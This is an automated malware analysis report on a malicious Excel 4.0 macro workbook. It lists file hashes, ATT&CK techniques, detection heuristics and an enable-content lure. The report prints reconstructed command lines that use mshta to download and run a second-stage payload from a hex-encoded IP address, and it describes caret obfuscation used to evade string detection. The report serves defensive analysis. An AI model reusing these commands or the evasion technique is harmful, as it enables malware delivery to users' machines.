Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 a278dd30b3ff2447…

MALICIOUS

Office (OLE) / .XLS

65.2 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: 5485ead6cd74895a044ec4faa4466186 SHA-1: 41274e2eda530b2e2017b8a1a3c8334ef3d4b1ca SHA-256: a278dd30b3ff24471bc2645387525ac5277214f0ad1bb766e4f8fbb20d08fcba
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 User Execution: Malicious File T1059.003 Command and Scripting Interpreter: Windows Command Shell T1204.001 User Execution: Malicious Link T1059.005 Visual Basic for Applications T1566.001 Phishing: Spearphishing Attachment T1027 Obfuscation

The sample uses a 'Enable Content' lure in the document body to trick the user into executing an Excel 4.0 (XLM) macro. The macro contains obfuscated command-line strings that, when reconstructed, execute 'cmd /c mshta http://0xc12a24f5/c.html' and 'cmd /c mshta http://0xc12a24f5/cc.html' to download and execute a second-stage payload. The use of carets (^) as escape characters in the command string is a common obfuscation technique to bypass simple string-based detection.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes